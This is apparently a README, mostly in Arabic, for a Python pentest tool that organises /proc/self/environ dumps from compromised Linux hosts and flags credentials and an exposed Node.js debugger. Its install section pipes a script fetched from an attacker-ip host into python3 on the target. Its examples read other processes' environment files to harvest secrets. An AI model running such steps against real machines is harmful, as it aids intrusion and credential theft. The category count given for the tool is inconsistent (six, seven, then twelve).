EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

حلّل وصنّف وصوّر /proc/self/environ على أجهزة Linux المخترقة.
حوّل جداراً من نص متغيرات البيئة المدمجة إلى معلومات استخباراتية منظمة ومرمّزة بالألوان — في ثوانٍ.

---

المؤلف: @W4r10ck423

---

المشكلة

عندما تصل إلى جهاز وتقرأ /proc/self/environ، تحصل على هذا:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer يحوّل ذلك إلى هذا:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

مع تثبيت rich، تحصل كل فئة على جدولها المرمّز بالألوان.

---

الميزات

• ثلاثة أوضاع إدخال — قراءة الملف مباشرةً (دقة مثالية)، أو التمرير عبر stdin، أو لصق نص خام
• محلّل ذكي ثنائي الفئات — يتعامل بشكل صحيح مع النصوص المدمجة حيث تم إزالة البايتات الصفرية بواسطة النسخ واللصق؛ يكتشف متغيرات POSIX بالأحرف الكبيرة والمتغيرات المعروفة ذات البادئة بالأحرف الصغيرة (npm_*، node_*، pip_*، إلخ)
• ست فئات دلالية — الأمان/المصادقة، الهوية، المسارات والمجلدات، NPM/Node، الشبكة/الوكيل، النظام، وأخرى
• توسيع PATH — كل مجلد مُدرج كنقطة بدلاً من جدار مفصول بنقطتين
• كشف الأسرار — يعلّم المتغيرات التي تطابق أسماؤها أو قيمها أنماط بيانات الاعتماد (TOKEN، KEY، SECRET، PASSWORD، إلخ) بتحذير ⚠
• لوحة رؤى الاختبار الاختراقي — تُظهر تلقائياً النتائج القابلة للتنفيذ: سياق root، تصعيد sudo، منافذ Node.js debugger المكشوفة، سكريبتات دورة الحياة النشطة
• Rich أو عادي — جداول مرمّزة بالألوان مع تثبيت rich؛ مخرجات نصية نظيفة كبديل (لا تتطلب أي تبعيات)

---

التثبيت

الخيار 1 — استنساخ وتشغيل (موصى به لبيئات الاختبار الاختراقي)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

الخيار 2 — التثبيت كأمر نظام

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

الخيار 3 — ملف واحد (لا يتطلب git)

انسخ envvisualizer.py إلى الجهاز الهدف أو جهاز المهاجم. يعمل بدون أي تبعيات:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

المتطلبات

التبعية	الإصدار	مطلوب
Python	≥ 3.8	نعم
rich	≥ 13.0	لا (بديل نصي عادي)

---

الاستخدام

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

أوضاع الإدخال

الطريقة	الأمر	الدقة
قراءة الملف مباشرةً	python3 envvisualizer.py -f /proc/self/environ	✅ مثالية (تقسيم بالبايت الصفري)
تمرير stdin	cat /proc/self/environ | python3 envvisualizer.py	✅ مثالية (تقسيم بالبايت الصفري)
نص ملصوق	python3 envvisualizer.py -r 'USER=dev...'	✅ جيدة (استدلال ثنائي الفئات)
بدون وسائط (عرض توضيحي)	python3 envvisualizer.py	✅ مثالية (عمليته الخاصة)

نصيحة: فضّل -f كلما كان لديك وصول للملف.
الفاصل بالبايت الصفري في الملف الحقيقي دقيق — لا حاجة لاستدلالات.

---

أمثلة

القراءة مباشرةً من proc (أفضل دقة)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

التمرير عبر stdin

cat /proc/self/environ | python3 envvisualizer.py

لصق نص خام (منسوخ من web shell / مخرجات RCE)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

مخرجات نصية عادية (بدون تبعية rich)

python3 envvisualizer.py -f /proc/self/environ --no-rich

---

فئات المخرجات

تُجمّع المتغيرات في 12 فئة، تُقيَّم بترتيب الأولوية (أول تطابق يفوز).